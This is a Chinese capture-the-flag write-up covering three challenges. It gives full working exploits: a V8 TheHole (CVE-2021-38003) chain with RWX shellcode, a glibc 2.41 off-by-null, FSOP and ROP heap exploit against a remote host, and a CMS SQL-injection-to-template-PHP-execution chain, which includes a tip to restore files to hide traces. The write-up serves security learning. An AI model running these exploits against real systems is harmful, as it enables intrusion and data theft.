用户可控 JS → 老版本 V8 → 想办法从 JS 打到 native
确认 V8 版本
把 jar 解出来以后,对 libj2v8-linux-x86_64.so 跑一遍字符串,大致能确认这是 V8 9.3.345.11,对应 Chrome 93 这一代。
strings libj2v8-linux-x86_64.so | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|PtrComprCageBase|FLAG_wasm'
V8 9.3.345.11
选择漏洞方向
这时候思路就比较清晰了,去看这一代 V8 上已经公开过哪些能接得上的链。
最后参考的是 CVE-2021-38003 这条方向。这里想强调一下,参考的是思路,不是把公开 PoC 原样抄过来。因为很多资料默认环境都是 d8,但这题给的是 j2v8,两边虽然都叫 V8,实际外壳和稳定性差不少。
很多相关资料默认环境都是 d8,但这题给的是 j2v8。看起来同样是 V8,这里我们的调试手段受到了很大的限制,所幸 AI 的调试能力还是比较强的,尤其远程的调试,太强啦!!!
一开始也试过更”标准”的 addrof / fakeobj / 大范围 OOB 路线,但远程不稳定,最后没有直接沿那条链走到底。
Step 1:构造 TheHole
具体思路的话就是先做 TheHole,这一步基本就是整个利用的起点:
function makeHole() {
let a = [];
let b = [];
let spray = '"'.repeat(0x800000);
a[20000] = spray;
for (let i = 0; i < 10; i++) {
a[i] = spray;
b[i] = a;
}
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error("failed to create TheHole token");
}
这里的 JSON.stringify(...) 能把一个特殊异常对象带出来,这个对象在后面的 Map 操作里能触发异常状态。真正要的是这个状态带来的结构破坏,而不是这个 token 本身。
Step 2:污染数组头
接下来是把 Map 状态打坏,用它去污染数组头:
function corruptArrayLength(key, len, hole) {
let map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
let pad = new Array(2).fill(1.1);
let victim = new Array(4).fill(2.2);
map.set(0x1c, -1);
map.set(key, len);
return victim;
}
一开始以为它能直接给一个很大范围、很自由的 OOB 数组,但实际在远程上更像是一个”小窗口”。它很适合去摸某个目标对象附近的一小段槽位,但不太适合拿来假设整个堆布局都线性可算。
Step 3:读取 RWX 地址
最终稳定下来以后,先创建一个 WebAssembly.Instance,然后直接对它开窗口。wasm 天然有一块可执行页,适合放 shellcode。
相关代码如下:
let wasm = makeWasmExec();
let wasm_view = corruptArrayLength(wasm.instance, 0x20, makeHole());
let rwx = ftoi(wasm_view[14]);
这个 14 不是拍脑袋出来的,是本地调过对象布局以后,再去远程反复对照的结果。观察上也能对得上:这个值页对齐、每次连接会变化,而且形态很像真实映射出来的 RWX 地址。
Step 4:分步利用
后面没有再强行追求”一个数组既能 addrof 又能任意读写”的漂亮链,而是接受这个题在远程上更适合拆开做:
- 一个窗口读
wasm_instance,拿 RWX。 - 一个窗口把 OOB 扩成可用的地址工具。
- 一个窗口改
ArrayBuffer的 backing store。 - 一个窗口改
DataView的 data pointer。
再把这两个都指到刚拿到的 RWX 页上,事情就结束了。
大致就是:
let ctrl = new DataView(new ArrayBuffer(0x1000));
let base = tools.addrOf(oob) + 0x10n;
let buffer_index = Number(((tools.addrOf(ctrl.buffer) + 0x28n) - base) / 8n);
let view_index = Number(((tools.addrOf(ctrl) + 0x30n) - base) / 8n);
oob[buffer_index] = itof(rwx);
oob[view_index] = itof(rwx);
这里也解释一下:
ArrayBuffer + 0x28是 backing store。DataView + 0x30是 data pointer。- 只要这两个字段都被改到 RWX,
setUint8写进去的就是 shellcode。
关于稳定性
这题最折磨人的不是漏洞本身,而是远程环境很脆。
所以最后脚本里很多看起来有点死板的创建顺序,其实都是调出来的:先建 wasm_instance,立刻开窗口取 RWX,再建 ArrayBuffer / DataView,再分别开窗口去覆写。
本地运行
题目附件中给了运行环境,可以先这样起本地环境:
cd .\题目
docker compose up --build
然后在另一个终端里跑 solve.py。
完整 Exploit 代码
const conv_buf = new ArrayBuffer(8);
const conv_f64 = new Float64Array(conv_buf);
const conv_i64 = new BigInt64Array(conv_buf);
function ftoi(x) {
conv_f64[0] = x;
return conv_i64[0];
}
function itof(x) {
conv_i64[0] = x;
return conv_f64[0];
}
function makeHole() {
let a = [];
let b = [];
let spray = '"'.repeat(0x800000);
a[20000] = spray;
for (let i = 0; i < 10; i++) {
a[i] = spray;
b[i] = a;
}
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error("failed to create TheHole token");
}
function corruptArrayLength(key, len, hole) {
let map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
let pad = new Array(2).fill(1.1);
let victim = new Array(4).fill(2.2);
map.set(0x1c, -1);
map.set(key, len);
return victim;
}
function makeWasmExec() {
let code = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,
128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,
1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,
128,128,0,0,65,42,11
]);
let mod = new WebAssembly.Module(code);
let inst = new WebAssembly.Instance(mod);
return {
instance: inst,
entry: inst.exports.main
};
}
function makeOobArray() {
let hole = makeHole();
let map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
let oob = new Array(1.1, 1.1);
map.set(0x10, -1);
map.set(oob, 0xffff);
return oob;
}
function makeAddressToolkit(oob) {
let float_array = new Array(1.1, 1.1);
let object_array = new Array({}, {});
let float_map = ftoi(oob[6]) & 0xffffffffn;
let object_map = ftoi(oob[28]) & 0xffffffffn;
let cage_base = ftoi(oob[0]) & 0xffffffff00000000n;
function addrof(obj) {
let old = object_array[0];
object_array[0] = obj;
oob[28] = itof((ftoi(oob[28]) & 0xffffffff00000000n) + float_map);
let raw = ftoi(object_array[0]);
oob[28] = itof((ftoi(oob[28]) & 0xffffffff00000000n) + object_map);
object_array[0] = old;
return raw & 0xffffffffn;
}
function untag(ptr) {
return (ptr - 1n) & 0xffffffffn;
}
function addrOf(obj) {
return cage_base + untag(addrof(obj));
}
return {
addrof: addrof,
untag: untag,
addrOf: addrOf
};
}
function buildFlagShellcode() {
let out = [];
function byte() {
for (let i = 0; i < arguments.length; i++) {
out.push(arguments[i] & 0xff);
}
}
function qword(v) {
for (let i = 0n; i < 8n; i++) {
out.push(Number((v >> (8n * i)) & 0xffn));
}
}
byte(0x31, 0xd2);
byte(0x48, 0xbb);
qword(0x00000067616c662fn);
byte(0x53);
byte(0x48, 0x89, 0xe7);
byte(0x31, 0xf6);
byte(0xb0, 0x02);
byte(0x0f, 0x05);
byte(0x48, 0x89, 0xc7);
byte(0x48, 0x89, 0xe6);
byte(0x66, 0xba, 0x00, 0x01);
byte(0x31, 0xc0);
byte(0x0f, 0x05);
byte(0x89, 0xc2);
byte(0x31, 0xff);
byte(0xff, 0xc7);
byte(0xb0, 0x01);
byte(0x0f, 0x05);
byte(0x31, 0xff);
byte(0xb0, 0x3c);
byte(0x0f, 0x05);
return out;
}
function writeBytes(dv, bytes) {
for (let i = 0; i < bytes.length; i++) {
dv.setUint8(i, bytes[i]);
}
}
function main() {
let wasm = makeWasmExec();
let wasm_view = corruptArrayLength(wasm.instance, 0x20, makeHole());
let rwx = ftoi(wasm_view[14]);
let oob = makeOobArray();
let tools = makeAddressToolkit(oob);
let ctrl = new DataView(new ArrayBuffer(0x1000));
let base = tools.addrOf(oob) + 0x10n;
let buffer_index = Number(((tools.addrOf(ctrl.buffer) + 0x28n) - base) / 8n);
let view_index = Number(((tools.addrOf(ctrl) + 0x30n) - base) / 8n);
oob[buffer_index] = itof(rwx);
oob[view_index] = itof(rwx);
writeBytes(ctrl, buildFlagShellcode());
wasm.entry();
}
main();
SU-minivfs
这个出题的格式参考的2025年半决赛ciscn的一个题目
2.41好像还是没有很大的变化,那应该是2.42有了很大的变化,IO的利用流上
题目是SU_minivfs
这里为了学习效果,我们把剔除的符号都让ai给恢复了,使其贴合常规的阅读的习惯,这里通过调用mcp接口都不用写idapython恢复了。
这题一开始就可以把它当成一个“带鉴权的伪文件系统堆题”来看。
交互很直白,支持 touch / rm / cat / write / stat / ls 这些操作,天然对应着 malloc / free / read / write 这几类原语。
有个感悟,这个比赛里真正卡人的,不是最后那一下怎么劫持控制流,而是前面几个判断有没有尽快做对。比如这个鉴权到底是不是障碍,这条原语到底能不能稳定落地,远程回显出来的东西到底能不能信。
题目环境这里先记一下,后面会一直用到:
- glibc 是 2.41。
- 有 seccomp。
- 程序有正常的
quit退出路径。
主函数中有这个
(*__ctype_b_loc())[*v7] & 0x2000
这里对这个的解释如下
sspace((unsigned char)*v7)
原因是:
- __ctype_b_loc() 返回一个指向字符属性表的指针
- (*__ctype_b_loc())[ch] 取出字符 ch 的分类标志位
- & 0x2000 是在测“空白字符”这个标志
- 所以这段代码是在跳过空格、\t、\n 之类
touch函数中有个
*__errno_location() = 0;
这里对这个的解释如下
- __errno_location() 返回当前线程 errno 的地址
- 前面加 * 就是在改这个地址里的值
- 所以就是把线程局部的 errno 设成 0
这三个条件其实很早就决定了后面不太像那种随便泄漏一下然后 hook 一改就完了的题,需要按照流程一步步来。
先把 auth 逆出来
所有敏感操作都要带一个 auth,所以第一步不是找堆漏洞,而是先确认这个 auth 到底是不是障碍。
顺着处理逻辑看下来,程序会先对 path 做一次 FNV-1a 风格的哈希,再做几轮 mixer,最后拿这个值去和用户输入比较:
//__int64 __fastcall sub_15AB(_BYTE *a1)
unsigned int __fastcall fnv1a32(const unsigned __int8 *s)
{
unsigned int v2; // [rsp+Ch] [rbp-Ch]
v2 = -2128831035;
while ( *s )
v2 = 16777619 * (*s++ ^ v2);
return v2;
}
//__int64 __fastcall sub_15F6(__int64 a1, int *a2)
int __fastcall vfs_path_to_slot(const unsigned __int8 *path, unsigned int *out_hash)
{
unsigned int v2; // eax
unsigned int v4; // [rsp+1Ch] [rbp-4h]
unsigned int v5; // [rsp+1Ch] [rbp-4h]
v2 = fnv1a32(path);
v4 = -2073254261 * (((2146121005 * (HIWORD(v2) ^ v2)) >> 15) ^ (2146121005 * (HIWORD(v2) ^ v2)));
v5 = HIWORD(v4) ^ v4;
if ( out_hash )
*out_hash = v5;
return v5 & 0xF;
}
最后真正的校验只是:
//__int64 __fastcall sub_16AA(int a1)
unsigned int __fastcall make_auth_token(unsigned int hash)
{
return hash ^ 0xA5A5A5A5;
}
也就是说:
auth(path) = mix_hash(path) ^ 0xA5A5A5A5
这一步确认以后,题目的“鉴权”基本就等于没有了。它不是权限机制,只是个可预测 token。
这里本地直接补了这样一段,后面所有命令都自动带上:
def path_hash(path):
x = 0x811C9DC5
for b in path.encode():
x ^= b
x = (x * 0x1000193) & 0xFFFFFFFF
x ^= x >> 16
x = (x * 0x7FEB352D) & 0xFFFFFFFF
x ^= x >> 15
x = (x * 0x846CA68B) & 0xFFFFFFFF
x ^= x >> 16
return x
def auth(path):
return str((path_hash(path) ^ 0xA5A5A5A5) & 0xFFFFFFFF)
cat 和 write 很快就暴露出两个关键点
这题真正开始往堆利用上走,是因为 cat 和 write 都不太对劲。
先看 cat:
//__int64 __fastcall sub_1A34(unsigned int n0x10, int a2)
int __fastcall vfs_cat_entry(unsigned int slot, int auth_hash)
{
if ( slot >= 0x10 )
return -1;
if ( !g_vfs_entries[slot].used )
return -2;
if ( auth_hash != g_vfs_entries[slot].auth_hash )
return -3;
if ( g_vfs_entries[slot].cap )
write(1, g_vfs_entries[slot].data, g_vfs_entries[slot].cap);
putchar(10);
return 0;
}
它直接按记录里的长度整块输出,所以很容易变成一个“把堆块原样吐出来”的接口。
这里最开始就是靠它去观察堆内容,后面 libc 和 heap 的泄漏也都是从这里稳定拿到的。
然后是 write。伪 C 看起来不明显,但结合汇编和实际效果去盯,会发现它有一个典型的坑:当写入大小正好等于 cap 的时候,后面那个补零动作会把结尾的 \0 写到 chunk 外面,也就是一个 off-by-null。
int __fastcall vfs_write_entry(unsigned int slot, int auth_hash, const void *buf, size_t nbytes)
{
uint64_t *p_mtime; // rax
uint64_t mtime; // rdx
if ( slot < 0x10 )
{
if ( g_vfs_entries[slot].used )
{
if ( auth_hash == g_vfs_entries[slot].auth_hash )
{
if ( nbytes <= g_vfs_entries[slot].cap )
{
memcpy(g_vfs_entries[slot].data, buf, nbytes);
mtime = current_time_sec();
p_mtime = &g_vfs_entries[0].mtime;
g_vfs_entries[slot].mtime = mtime;
}
效果如下
size == cap
-> 程序还会补一个 '\0'
-> 这个 '\0' 会越过用户区边界
-> 刚好可以去碰下一个 chunk header
这题看到这个点以后,思路就很明确了:不是去找别的 fancy 漏洞,而是围绕这个 off-by-null 做 chunk header 污染。
泄漏 libc / heap
-> off-by-null 改 chunk header
-> 做重叠与任意改
-> 打 FSOP
-> setcontext + ORW
堆布局其实分成两段
如果只看最后 exp,容易以为题目一上来就是 /aj /ap /ar /ak 那套布局。其实不是,这题是先做一段泄漏阶段,再做真正的利用阶段。
泄漏阶段大概是:
/aa /ab /ac /ad /ae
这一段的目的很单纯,就是先把 libc 和 heap 基本定位出来,把后面 fake FILE 要落在哪搞清楚。
真正进入利用的时候,最后用的是这几块:
/aj 0x4f8
/ap 0x4f8
/ar 0x4d8
/ak 0x428
想法很朴素:
/aj和/ap都是0x4f8,方便把 chunk 大小卡到0x500这一档。- 用
/aj写满以后,那个off-by-null正好能碰到/ap的 header。 /ar和/ak后面拿来放 fake FILE 以及对应的_wide_data、ROP 栈。
核心伪造部分本质上就是 House of Einherjar 那套意思:
- 在
/aj用户区里先摆一个 fake chunk。 - 再用
off-by-null去清/ap的PREV_INUSE。 - 这样一来
free("/ap")的时候,glibc 就会尝试往回合并,把用户区里的伪造结构卷进来。
做到重叠以后,就相当于有了uaf,之后就能打largebinattack,最后比较稳的还是 FSOP。
所以最后把目标放在 _IO_list_all 上。
一旦能把 _IO_list_all 改成伪造的 FILE 链,退出时就会自动走到布好的结构。
这里最终的分工如下
/ar放 fake FILE 主体。/ak放 fake_wide_data、fake wide vtable、路径字符串和 ROP 区。- 借
setcontext做栈迁移,最后进 ORW。
核心构造代码大概是这样:
def build_j(base, j_user, path, mode):
path_addr = j_user + 0x100
rop_addr = j_user + 0x180
buf_addr = j_user + 0x2C0
wide_vtable = j_user + 0x360
lock = j_user + 0x3F0
blob = bytearray(b"\x00" * 0x420)
def q(off, val):
blob[off:off + 8] = p64(val)
q(0x00, base + OFF["pop_rsp_ret"])
q(0x08, rop_addr)
q(0x20, 1)
q(0xE0, wide_vtable)
q(0x3C8, base + OFF["setcontext"])
blob[0x100:0x100 + len(path)] = path
return bytes(blob), lock
def build_h(base, j_user, lock, h_user):
blob = bytearray(b"\x00" * 0x1C8)
def q(off, val):
blob[off - 0x10:off - 0x08] = p64(val)
def d(off, val):
blob[off - 0x10:off - 0x0C] = p32(val)
q(0x88, lock)
q(0x90, 0xFFFFFFFFFFFFFFFF)
q(0xA0, j_user)
q(0xA8, base + OFF["ret"])
q(0xD8, base + OFF["_IO_wfile_jumps"])
q(0xE0, h_user + 0x260)
d(0xC0, 1)
d(0x1C0, 0x1F80)
return bytes(blob)
build_h 负责把 FILE 主体伪造成一个足够像真的 _IO_wfile 对象。build_j 负责准备 fake _wide_data、真正的 ROP 栈、目标路径,还有最后让控制流落到 setcontext。
把 ORW 打通以后,最开始读的是 ./flag,远程确实回了一个 flag,但看起来就很不对劲,明显像障眼法。
这时候如果死盯着“是不是偏移算错了”,其实会把自己带偏。
后面把 ORW 稍微改了一下,不再直接读文件,而是先列目录:
open(dir, 0)
getdents64(fd, buf, 0x200)
write(1, buf, nread)
最后就是靠这个思路把真正的 flag 文件定位出来的。这个地方比“最后读到了什么”更重要,因为它把“利用链成功”和“目标路径找对了”这两件事拆开验证了。
最终exp如下
#!/usr/bin/env python3
from pwn import *
import struct
import sys
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
# context.terminal = ["tmux", "splitw", "-h"]
def uu64(x):
return u64(x.ljust(8, b"\x00"))
def path_hash(path):
x = 0x811C9DC5
for b in path.encode():
x ^= b
x = (x * 0x1000193) & 0xFFFFFFFF
x ^= x >> 16
x = (x * 0x7FEB352D) & 0xFFFFFFFF
x ^= x >> 15
x = (x * 0x846CA68B) & 0xFFFFFFFF
x ^= x >> 16
return x
def auth(path):
return str((path_hash(path) ^ 0xA5A5A5A5) & 0xFFFFFFFF)
def rop_read(base, path_addr, buf_addr):
return [
base + 0x028882, # ret
base + 0x119E9C, path_addr, # pop rdi ; ret
base + 0x11B07D, 0, # pop rsi ; ret
base + 0x0BBBFC, 0, 0, 0, 0, 0, # pop rdx ; ret
base + 0x1258C0, # open
base + 0x1AA936, # xchg edi, eax ; ret
base + 0x11B07D, buf_addr, # pop rsi ; ret
base + 0x0BBBFC, 0x100, 0, 0, 0, 0, # pop rdx ; ret
base + 0x125FD0, # read
base + 0x119E9C, 1, # pop rdi ; ret
base + 0x11B07D, buf_addr, # pop rsi ; ret
base + 0x0BBBFC, 0x100, 0, 0, 0, 0, # pop rdx ; ret
base + 0x126AB0, # write
]
def rop_ls(base, path_addr, buf_addr):
return [
base + 0x028882, # ret
base + 0x119E9C, path_addr, # pop rdi ; ret
base + 0x11B07D, 0, # pop rsi ; ret
base + 0x0BBBFC, 0, 0, 0, 0, 0, # pop rdx ; ret
base + 0x1258C0, # open
base + 0x1AA936, # xchg edi, eax ; ret
base + 0x11B07D, buf_addr, # pop rsi ; ret
base + 0x0BBBFC, 0x200, 0, 0, 0, 0, # pop rdx ; ret
base + 0x0F52E0, # getdents64
base + 0x0C223D, # xchg rdx, rax ; ret
base + 0x119E9C, 1, # pop rdi ; ret
base + 0x11B07D, buf_addr, # pop rsi ; ret
base + 0x126AB0, # write
]
def build_j(base, j_user, path, mode):
path_addr = j_user + 0x100
rop_addr = j_user + 0x180
buf_addr = j_user + 0x2C0
wide_vtable = j_user + 0x360
lock = j_user + 0x3F0
blob = bytearray(b"\x00" * 0x420)
def q(idx, val):
blob[idx:idx + 8] = p64(val)
q(0x00, base + 0x03C8F8) # pop rsp ; ret
q(0x08, rop_addr)
q(0x20, 1)
q(0xE0, wide_vtable)
q(0x3C8, base + 0x4BB20) # setcontext
blob[0x100:0x100 + len(path)] = path
chain = rop_ls(base, path_addr, buf_addr) if mode == "ls" else rop_read(base, path_addr, buf_addr)
for i, x in enumerate(chain):
q(0x180 + i * 8, x)
return bytes(blob), lock
def build_h(base, j_user, lock, h_user):
blob = bytearray(b"\x00" * 0x1C8)
def q(idx, val):
blob[idx - 0x10:idx - 0x08] = p64(val)
def d(idx, val):
blob[idx - 0x10:idx - 0x0C] = p32(val)
q(0x88, lock)
q(0x90, 0xFFFFFFFFFFFFFFFF)
q(0xA0, j_user)
q(0xA8, base + 0x028882) # ret
q(0xD8, base + 0x20F1C8) # _IO_wfile_jumps
q(0xE0, h_user + 0x260)
d(0xC0, 1)
d(0x1C0, 0x1F80)
return bytes(blob)
def dents(blob):
out = []
pos = 0
while pos + 19 <= len(blob):
reclen = struct.unpack_from("<H", blob, pos + 16)[0]
if reclen < 20 or pos + reclen > len(blob):
break
ino = struct.unpack_from("<Q", blob, pos)[0]
typ = blob[pos + 18]
name = blob[pos + 19:pos + reclen].split(b"\x00", 1)[0]
if name:
out.append((ino, typ, name.decode("utf-8", "replace")))
pos += reclen
return out
def show(out, mode):
if mode != "ls" or b"bye\n" not in out:
sys.stdout.buffer.write(out)
return
head, raw = out.split(b"bye\n", 1)
sys.stdout.buffer.write(head + b"bye\n\n")
for ino, typ, name in dents(raw):
print(f"{typ:02x} {ino:>6} {name}")
def main():
local = 0
debug = 0
mode = "read"
menu = b"vfs> "
leak_off = 0x210F10
if local:
io = process("./pwn")
else:
io = remote("1.95.73.223", 10000)
rt = lambda x: io.recvuntil(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x if isinstance(x, (bytes, bytearray)) else str(x).encode())
def dbg(*addrs):
if not local:
return
script = ""
for addr in addrs:
script += f"b *{addr}\n"
gdb.attach(io, script)
def cmd(line):
sl(line)
return rt(menu)
def touch(path, size):
return cmd(f"touch {path} {size} {auth(path)}")
def rm(path):
return cmd(f"rm {path} {auth(path)}")
def cat(path):
sl(f"cat {path} {auth(path)}")
return rt(menu)[:-len(menu)]
def write(path, data):
sl(f"write {path} {len(data)} {auth(path)}")
rt(b"> ")
s(data)
return rt(menu)
if debug:
dbg()
path = target or (b".\x00" if mode == "ls" else b"./flag\x00")
rt(menu)
for name in ["/aa", "/ab", "/ac"]:
touch(name, 0x428)
rm("/ab")
touch("/ad", 0x500)
touch("/ae", 0x428)
#debug()
leak = cat("/ae")[:-1]
vals = [uu64(leak[i:i + 8]) for i in range(0, 48, 8)]
base = vals[0] - leak_off
f0 = vals[2] - 0x430
ad = f0 + 0xC90
success("libc_base: " + hex(base))
success("heap_base: " + hex(f0))
touch("/aj", 0x4F8)
touch("/ap", 0x4F8)
touch("/ar", 0x4D8)
touch("/ak", 0x428)
j_blob, lock = build_j(base, ad + 0x510 + 0x500 + 0x500 + 0x4E0 + 0x10, path, mode)
h_blob = build_h(base, ad + 0x510 + 0x500 + 0x500 + 0x4E0 + 0x10, lock, ad + 0x510 + 0x500 + 0x10)
write("/ak", j_blob)
write("/ar", h_blob)
payload = p64(0) + p64(0x4F0) + p64(ad + 0x510 + 0x10) * 4
payload = payload.ljust(0x4F0, b"F") + p64(0x4F0)
write("/aj", payload)
rm("/ap")
touch("/ap", 0x4E8)
touch("/bk", 0x4F8)
rm("/ap")
touch("/bg", 0x500)
rm("/ar")
meta = bytearray(cat("/aj")[:-1])
meta[0x28:0x30] = p64(base + 0x2114C0 - 0x20) # _IO_list_all - 0x20
write("/aj", bytes(meta[:0x4F8]))
touch("/ag", 0x500)
#debug()
sl(b"quit")
out = io.recvall(timeout=2)
show(out, mode)
if name == "main":
main()
WEB
SU_cmsAgain
1. 题目概览
- 目标站点:
http://101.245.108.250:10015 - 本地给了完整源码目录
src/ - 最终利用链:
- 购物车 SQL 注入
- 盲注读出远端后台真实密码
- 后台登录
- 利用
Decoration/saveCode写入模板执行标签{~...} - 前台首页模板包含
Public:code - 远端执行 PHP 并读取根目录随机命名文件
- 拿到 flag
最终 flag:
SUCTF{y0ud1an_c00l_LiHua}
2. 整体思路
这题最开始最容易注意到的是购物车链上的 SQL 注入,但这个 SQLi 本身并不是最终出 flag 的点。它更像一条“拿后台真实凭据”的前置链。
真正拿 flag 的利用链是:
- 用 SQLi 盲注读出后台管理员真实密码。
- 登录后台。
- 找到后台装修功能
Decoration/saveCode。 - 利用模板引擎的
{~ ... }执行标签绕过saveCode()的过滤。 - 把 payload 写进当前主题的
Public/code.html。 - 前台默认首页在
footer.html中会<include file="Public:code" />,所以 payload 会进入模板编译流程。 - 直接在远端执行 PHP,枚举根目录文件并读取真正的 flag 文件。
3. 第一段链: 购物车 SQLi 拿后台真实密码
3.1 注入点原理
注入点在购物车价格计算逻辑里,关键代码在:
src/App/Lib/Common/YdCart.class.php:312src/App/Lib/Common/YdCart.class.php:319
核心片段:
$InfoPrice = $m->where("InfoID=$InfoID")->getField('InfoPrice');
...
$result = $m->where("InfoID in($idlist)")->getField('InfoID,InfoPrice');
这里的 where() 直接拼接了外部可控的 InfoID / idlist。
然后看框架层:
src/App/Core/Lib/Core/Db.class.php:470
if(is_string($where)) {
$whereStr = $where;
}
也就是说,字符串形式的 where() 会原样进入 SQL。
再看 MySQL 驱动:
src/App/Core/Lib/Driver/Db/DbMysqli.class.php:109src/App/Core/Lib/Driver/Db/DbMysqli.class.php:149
$this->queryID = $this->_linkID->query($str);
...
$result = $this->_linkID->query($str);
这里使用的是单条 query(),不是 multi_query()。所以这条 SQLi 更适合做布尔盲注和数据读取,不适合直接堆叠写文件语句。
3.2 为什么能盲注
前台接口 setQuantity 会返回购物车价格。只要构造的 SQL 条件为真,TotalItemPrice 就是正常价格;条件为假,价格就会异常或为 0。
因此可以把它当作布尔 oracle 来做盲注。
本地已经写好辅助脚本:
y_shopping_cart_sqli.py
例如可以这样读远端后台密码:
python y_shopping_cart_sqli.py dump "(select AdminPassword from youdian_admin where AdminID=1 limit 1)" --max-len 64
最终实测读到的后台真实密码是:
SUCTF@123!@#20260813
这一步非常关键,因为远端真实密码已经和本地源码包/旧备份里的默认值不同了。
4. 第二段链: 后台登录参数格式
后台登录不能直接把明文用户名密码发过去,需要走前端那套编码。
4.1 前端登录逻辑
登录页里有这几个关键点:
src/App/Tpl/Admin/Default/Public/login.html:246src/App/Tpl/Admin/Default/Public/login.html:317src/App/Tpl/Admin/Default/Public/login.html:323
对应逻辑是:
username不是明文提交,而是CryptoJS.MD5(username).toString()password经过SafeCode()编码- 然后 POST 到
/index.php/Admin/public/checkLogin/
登录页缓存里也能看到相同逻辑:
admin_login_page.html:257admin_login_page.html:328admin_login_page.html:334
4.2 SafeCode 的原理
SafeCode() 的 JS 逻辑是:
encodeURIComponent(password)btoa(...)- 前后各拼接 6 位随机字符
服务端对应解码:
src/App/Core/Extend/Function/ydLib.php:2196
function yd_safe_decode($str){
$strLen = strlen($str);
if($strLen<13) return '';
$start = 6;
$end = $strLen - 2 * $start;
$str = substr($str, $start, $end);
$str = urldecode(base64_decode($str));
return $str;
}
4.3 服务端登录校验
登录处理在:
src/App/Lib/Action/Admin/PublicAction.class.php:48
关键点:
- 用户名先经过
getRealAdminName()还原。 - 密码经过
yd_safe_decode()解码。 - 当失败次数大于 5 时,需要验证码。
用户名还原逻辑在:
src/App/Lib/Model/Admin/AdminModel.class.php:168
也就是把提交的 32 位 md5 和所有后台用户名逐个比较。
实际登录时提交的是:
username = md5("admin") = 21232f297a57a5a743894a0e4a801fc3
password = SafeCode("SUCTF@123!@#20260813")
验证码我这里直接用 tesseract 做 OCR 识别,放大后二值化即可,命中率足够高。
5. 第三段链: Decoration/saveCode -> 模板执行 -> PHP 执行
这一段才是本题真正的“远端拿 flag”核心。
5.1 saveCode 把内容写到哪里
关键代码在:
src/App/Lib/Action/Admin/DecorationAction.class.php:930src/App/Lib/Action/Admin/DecorationAction.class.php:972
getCode() / saveCode() 都操作当前主题下的:
<ThemePath>/Public/code.html
核心逻辑:
$TemplatePath = $this->_getTemplatePath($_POST['PageUrl']);
$fileName = "{$TemplatePath}Public/code.html";
...
$result = file_put_contents($fileName, $content);
5.2 saveCode 为什么看起来过滤了,实际上还是能 RCE
saveCode() 的过滤逻辑主要有三层:
strip_tags($content, '<style><script><br>')YdInput::checkTemplateContent($content)- 固定黑名单:
<php>,</php>,{:,{$,sqllist
对应源码:
src/App/Lib/Action/Admin/DecorationAction.class.php:972src/App/Common/common.php:490
checkTemplateContent() 的正则是:
$pattern = '/{[$:]{1}([\s\S]+?)}/i';
它只检查两类模板标签:
{$...}{:...}
也就是说,它根本没有检查 Think 模板的第三类标签:
{~ ... }
5.3 模板引擎明确支持 {~ ... }
关键代码在:
src/App/Core/Lib/Template/ThinkTemplate.class.php:491
if('$' == $flag){
return $this->parseVar($name);
}elseif(':' == $flag){
return '<?php echo '.$name.';?>';
}elseif('~' == $flag){
return '<?php '.$name.';?>';
}
这里已经写得非常直白了:
{$...}-> 变量输出{:...}-><?php echo ...; ?>{~...}-><?php ...; ?>
所以 {~ ... } 本质上就是直接执行 PHP 语句。
5.4 为什么写进 code.html 后一定会跑到前台
默认主题首页页脚:
src/App/Tpl/Home/Default/Public/footer.html:178
<include file="Public:code" /><gotop id="yd-gotop" />
也就是说,只要访问首页,Public/code.html 就一定会被包含进模板。
而 saveCode() 写入的正是这个文件。
因此完整链条就是:
后台登录
-> Decoration/saveCode 写 Public/code.html
-> 前台首页 include Public:code
-> ThinkTemplate 解析 {~ ... }
-> 编译成 <?php ...; ?>
-> 远端执行 PHP
6. 远端 canary 验证
先别急着读 flag,先做一个无害 canary 验证。
我用的 payload:
<script>var yd_rce_canary={~ echo json_encode(md5('yd_rce_poc_20260315')); };</script>
写入后访问首页源码,实际回显:
6eda96e98e36912b86b37d4728171ab9
这正是:
md5("yd_rce_poc_20260315")
说明 {~ ... } 在远端确实被执行了,不是理论链,而是已经远端坐实。
7. 直接拿 flag
7.1 先枚举根目录文件
先写一个 payload 枚举根目录文件:
<script>var yd_root_files={~ echo json_encode(array_values(array_filter(glob('/*'),'is_file'))); };</script>
实测拿到的根目录文件是:
/b2b27f1a12e1f4bcb3927024bdb92531.txt
/flag
其中 /flag 不是最终 flag 内容来源。
7.2 读取目标文件
再用下面的 payload 读文件:
<script>var yd_read={~ $p='/b2b27f1a12e1f4bcb3927024bdb92531.txt'; ob_start(); @readfile($p); $o=ob_get_clean(); echo json_encode($o); };</script>
成功回显:
SUCTF{y0ud1an_c00l_LiHua}
8. 一些容易踩坑的点
8.1 saveCode() 还会额外拦 {$ 和 {:
所以 payload 里如果刚好出现 {$foo} 这种模板变量写法,会直接保存失败。
我最后统一用这种形式写 payload:
{~ $a=...; $b=...; echo json_encode(...); }
也就是:
- 用
{~ ... } - 块语句内部的
$前面保留空格 - 不出现
{$/{: - 尽量不要在
{~ ... }内写带花括号的if (...) {}/foreach (...) {}这类块语句
最后这一点也很重要。模板标签本身就是用 {...} 包起来的,里面再出现 PHP 的块级花括号,容易把模板解析器搞乱,最终把首页编译成报错页。实战里更稳的写法是:
- 尽量用纯函数表达式
- 或者只用不带块花括号的简单语句
8.2 /flag 文件存在,但不是最终答案
这题很坑的一点就是根目录下的 /flag 虽然存在,但内容为空。
真正的 flag 在根目录的随机命名文件里:
/b2b27f1a12e1f4bcb3927024bdb92531.txt
所以不要在读到 /flag 空内容后就停。
8.3 利用完记得恢复 code.html
我每次都是:
- 先
getCode取原始内容 - 再
saveCode写 payload - 拿到结果后恢复原始
code.html
这样不容易在前台留下明显痕迹。
9. 可直接拿 flag 的脚本
